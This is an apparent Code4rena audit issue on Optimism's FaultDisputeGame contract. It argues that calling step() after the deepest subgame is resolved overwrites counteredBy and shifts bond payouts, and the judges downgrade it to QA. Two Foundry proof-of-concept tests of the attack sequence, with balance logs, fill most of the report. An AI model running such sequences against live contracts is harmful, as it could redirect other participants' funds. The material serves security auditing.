`.counteredBy` can be overwritten, breaking a main invariant

[howlbot-integration[bot]]

Lines of code

https://github.com/code-423n4/2024-07-optimism/blob/70556044e5e080930f686c4e5acde420104bb2c4/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L311

Vulnerability details

As per the specs, one of the invariants:

• `truth percolates upwards towards the root claim by resolving each individual sub-game bottom-up.

The outcome of subgames moves upwards in the gametree by resolving the subgames from bottom to up.

This invariant, however, does not always hold up.

Let's first look at the first scenario where this invariant does hold up, a regular resolution of a FDG:

• Alice plays vs Bob and Alice makes the final step that is successfully executed on MIPS.sol, which makes her the winner.

Run this PoC in FaultDisputeGame.t.sol:

    function test_poc() public {
        address alice = makeAddr("alice");
        vm.deal(alice, 1000 ether);

        address bob = makeAddr("bob");
        vm.deal(bob, 1000 ether);

        uint256 alice_balance_before = alice.balance;
        uint256 bob_balance_before = bob.balance;
        console.log("Alice balance before: %d", alice_balance_before);
        console.log("Bob balance before: %d", bob_balance_before);

        // Give the test contract some ether
        vm.deal(address(this), 1000 ether);

        // ALice attacks
        vm.startPrank(alice);
        (,,,, Claim disputed,,) = gameProxy.claimData(0);
        gameProxy.attack{ value: _getRequiredBond(0) }(disputed, 0, _dummyClaim());
        vm.stopPrank();

        vm.startPrank(bob);
        (,,,, disputed,,) = gameProxy.claimData(1);
        gameProxy.attack{ value: _getRequiredBond(1) }(disputed, 1, _dummyClaim());
        vm.stopPrank();

        vm.startPrank(alice);
        (,,,, disputed,,) = gameProxy.claimData(2);
        gameProxy.attack{ value: _getRequiredBond(2) }(disputed, 2, _dummyClaim());
        vm.stopPrank();

        vm.startPrank(bob);
        (,,,, disputed,,) = gameProxy.claimData(3);
        gameProxy.attack{ value: _getRequiredBond(3) }(disputed, 3, _dummyClaim());
        vm.stopPrank();

        vm.startPrank(alice);
        (,,,, disputed,,) = gameProxy.claimData(4);
        gameProxy.attack{ value: _getRequiredBond(4) }(disputed, 4, _changeClaimStatus(_dummyClaim(), VMStatuses.PANIC));
        vm.stopPrank();

        vm.startPrank(bob);
        (,,,, disputed,,) = gameProxy.claimData(5);
        gameProxy.attack{ value: _getRequiredBond(5) }(disputed, 5, _dummyClaim());
        vm.stopPrank();

        vm.startPrank(alice);
        (,,,, disputed,,) = gameProxy.claimData(6);
        gameProxy.attack{ value: _getRequiredBond(6) }(disputed, 6, _dummyClaim());
        vm.stopPrank();

        vm.startPrank(bob);
        (,,,, disputed,,) = gameProxy.claimData(7);
        gameProxy.attack{ value: _getRequiredBond(7) }(disputed, 7, _dummyClaim());
        vm.stopPrank();

        (,,,, disputed,,) = gameProxy.claimData(8);
        gameProxy.addLocalData(LocalPreimageKey.DISPUTED_L2_BLOCK_NUMBER, 8, 0);
        vm.prank(alice);
        gameProxy.step(8, true, absolutePrestateData, hex"");

        uint256 alice_balance_after = alice.balance;
        uint256 bob_balance_after = bob.balance;
        console.log("Alice balance after: %d", alice_balance_after);
        console.log("Bob balance after: %d", bob_balance_after);

        vm.warp(block.timestamp + 100 days);
        // Now resolve other claims and see what happens.
        // resolve all claims
        gameProxy.resolveClaim(8, 0);
        gameProxy.resolveClaim(7, 0);
        gameProxy.resolveClaim(6, 0);
        gameProxy.resolveClaim(5, 0);
        gameProxy.resolveClaim(4, 0);
        gameProxy.resolveClaim(3, 0);
        gameProxy.resolveClaim(2, 0);
        gameProxy.resolveClaim(1, 0);
        gameProxy.resolveClaim(0, 0);
        gameProxy.resolve();

        vm.warp(block.timestamp + 100 days);
        gameProxy.claimCredit(alice);

        uint256 alice_balance_claim = alice.balance;
        uint256 bob_balance_claim = bob.balance;
        console.log("Alice balance claim: %d", alice_balance_claim);
        console.log("Bob balance claim: %d", bob_balance_claim);
        }

If we look at the output, we see that Alice got the funds, which is correct:

  Alice balance before: 1000000000000000000000
  Bob balance before: 1000000000000000000000

  Alice balance after: 967619156200000000000
  Bob balance after: 925925142600000000000

  Alice balance claim: 1074074857400000000000
  Bob balance claim: 925925142600000000000

Now, let's look at the second scenario, where this invariant does not hold up:

• Alice plays vs Bob, Alice made the last move and it has not been countered.
• If we take a look at the resolveClaim() function, we see the following check:

      // INVARIANT: Cannot resolve a subgame unless the clock of its would-be counter has expired
      // INVARIANT: Assuming ordered subgame resolution, challengeClockDuration is always >= MAX_CLOCK_DURATION if all
      // descendant subgames are resolved
      if (challengeClockDuration.raw() < MAX_CLOCK_DURATION.raw()) revert ClockNotExpired();

• This means that if clock is expired, the game is resolved.
• Alice calls resolveClaim(8,0) - the subgame has successfully been resolved.
• Now, we can move upwards and resolve the other subgames.
• However, Charlie enters the party and calls step(), this call should not be able to succeed, the deepest subgame has already been resolved.
• Now, the game result becomes skewed, Bob will end up winning some subgames, even though Alice was the winner.

Run this second PoC in FaultDisputeGame.t.sol:

function test_poc_two() public {
    address alice = makeAddr("alice");
        vm.deal(alice, 1000 ether);

        address bob = makeAddr("bob");
        vm.deal(bob, 1000 ether);

        address charlie = makeAddr("charlie");
        vm.deal(charlie, 1000 ether);

        uint256 alice_balance_before = alice.balance;
        uint256 bob_balance_before = bob.balance;
        uint256 charlie_balance_before = charlie.balance;
        console.log("Alice balance before: %d", alice_balance_before);
        console.log("Bob balance before: %d", bob_balance_before);
        console.log("Charlie balance before: %d", charlie_balance_before);

        // Give the test contract some ether
        vm.deal(address(this), 1000 ether);

        // ALice attacks
        vm.startPrank(alice);
        (,,,, Claim disputed,,) = gameProxy.claimData(0);
        gameProxy.attack{ value: _getRequiredBond(0) }(disputed, 0, _dummyClaim());
        vm.stopPrank();

        vm.startPrank(bob);
        (,,,, disputed,,) = gameProxy.claimData(1);
        gameProxy.attack{ value: _getRequiredBond(1) }(disputed, 1, _dummyClaim());
        vm.stopPrank();

        vm.startPrank(alice);
        (,,,, disputed,,) = gameProxy.claimData(2);
        gameProxy.attack{ value: _getRequiredBond(2) }(disputed, 2, _dummyClaim());
        vm.stopPrank();

        vm.startPrank(bob);
        (,,,, disputed,,) = gameProxy.claimData(3);
        gameProxy.attack{ value: _getRequiredBond(3) }(disputed, 3, _dummyClaim());
        vm.stopPrank();

        vm.startPrank(alice);
        (,,,, disputed,,) = gameProxy.claimData(4);
        gameProxy.attack{ value: _getRequiredBond(4) }(disputed, 4, _changeClaimStatus(_dummyClaim(), VMStatuses.PANIC));
        vm.stopPrank();

        vm.startPrank(bob);
        (,,,, disputed,,) = gameProxy.claimData(5);
        gameProxy.attack{ value: _getRequiredBond(5) }(disputed, 5, _dummyClaim());
        vm.stopPrank();

        vm.startPrank(alice);
        (,,,, disputed,,) = gameProxy.claimData(6);
        gameProxy.attack{ value: _getRequiredBond(6) }(disputed, 6, _dummyClaim());
        vm.stopPrank();

        vm.startPrank(bob);
        (,,,, disputed,,) = gameProxy.claimData(7);
        gameProxy.attack{ value: _getRequiredBond(7) }(disputed, 7, _dummyClaim());
        vm.stopPrank();

        (,,,, disputed,,) = gameProxy.claimData(8);
        gameProxy.addLocalData(LocalPreimageKey.DISPUTED_L2_BLOCK_NUMBER, 8, 0);

        // Now instead of stepping first, claimReoslve will be called by bob and then we will step.
        vm.warp(block.timestamp + 100 days);
        vm.prank(bob);
        gameProxy.resolveClaim(8,0);

        // Charlie overrides the .counteredBy inside the 8th claim
        vm.prank(charlie);
        gameProxy.step(8, true, absolutePrestateData, hex"");

        uint256 alice_balance_after = alice.balance;
        uint256 bob_balance_after = bob.balance;
        uint256 charlie_balance_after = charlie.balance;
        console.log("Alice balance after: %d", alice_balance_after);
        console.log("Bob balance after: %d", bob_balance_after);
        console.log("Charlie balance after: %d", charlie_balance_after);

        // Now resolve other remaining 7 claims and see what happens.
        gameProxy.resolveClaim(7, 0);
        gameProxy.resolveClaim(6, 0);
        gameProxy.resolveClaim(5, 0);
        gameProxy.resolveClaim(4, 0);
        gameProxy.resolveClaim(3, 0);
        gameProxy.resolveClaim(2, 0);
        gameProxy.resolveClaim(1, 0);
        gameProxy.resolveClaim(0, 0);
        gameProxy.resolve();

        vm.warp(block.timestamp + 100 days);
        gameProxy.claimCredit(alice);
        gameProxy.claimCredit(bob);

        uint256 alice_balance_claim = alice.balance;
        uint256 bob_balance_claim = bob.balance;
        uint256 charlie_balance_claim = charlie.balance;
        console.log("Alice balance claim: %d", alice_balance_claim);
        console.log("Bob balance claim: %d", bob_balance_claim);
        console.log("Charlie balance claim: %d", charlie_balance_claim);
}

If we look at the output, we see that Alice got the robbed this time:

  Alice balance before: 1000000000000000000000
  Bob balance before: 1000000000000000000000
  Charlie balance before: 1000000000000000000000

  Alice balance after: 967619156200000000000
  Bob balance after: 925925142600000000000
  Charlie balance after: 1000000000000000000000

  Alice balance claim: 1014074857600000000000
  Bob balance claim: 985925142400000000000
  Charlie balance claim: 1000000000000000000000

As we can see, even though Alice was the winner, the payout got skewed, she got played out of:

• 1074074857400000000000-1014074857600000000000=59999999800000000000 rewards stolen by Bob because of Charlie stepping.

This means that the variant that is set in the specs does not hold up. Furthermore, it should not be possible for a party to step when a game has been resolved on the most bottom depth, since from that resolve on, we go upwards and resolve the rest.

Recommended Mitigation Steps

When the lowest level is resolved, do not allow steps.

Assessed type

Other

[clabby]

Going to mark this one as acknowledged. The reporter is correct that the spec currently states that no moves can be made after a claim has been resolved. However, this specific case does not impact valid game resolution.

In the case where the parent claim is already resolved, and the counteredBy is updated with a step, this can only be done if the step is actually a valid challenge (otherwise, it'd revert.) In this case, bubbling up that result would actually serve to inform correct global resolution of the game, though it was "out of bounds" of the game clock.

We also have an honest challenger liveness assumption, where the challenger should always be online to make these claims. It is unlikely that in a real world scenario, the challenger would fail to complete the instruction step in the time allowed to them.

This does diverge from what the spec says, though.

[zobront]

This is a divergence from the spec, but doesn't appear to have any serious consequences. I will be downgrading from High but am still deciding whether Medium or QA is more appropriate.

[zobront]

@clabby makes a few very important points:

1) It requires breaking our assumption that we have liveness for challengers. In this case, we assume that Alice didn't call step() when it was necessary for her to win the game. In this situation, Bob could have resolved to win, which is much worse.

2) In the case laid out, the payouts were actually correct for the actions that were taken. If Alice was paid, that would be more incorrect.

For these reasons, I'm downgrading to QA for the idea that step() should be locked by game clock to match spec, but with the understanding that there are not sufficient negative consequences to justify Medium severity.

[c4-judge]

zobront changed the severity to QA (Quality Assurance)

[c4-judge]

zobront marked the issue as grade-a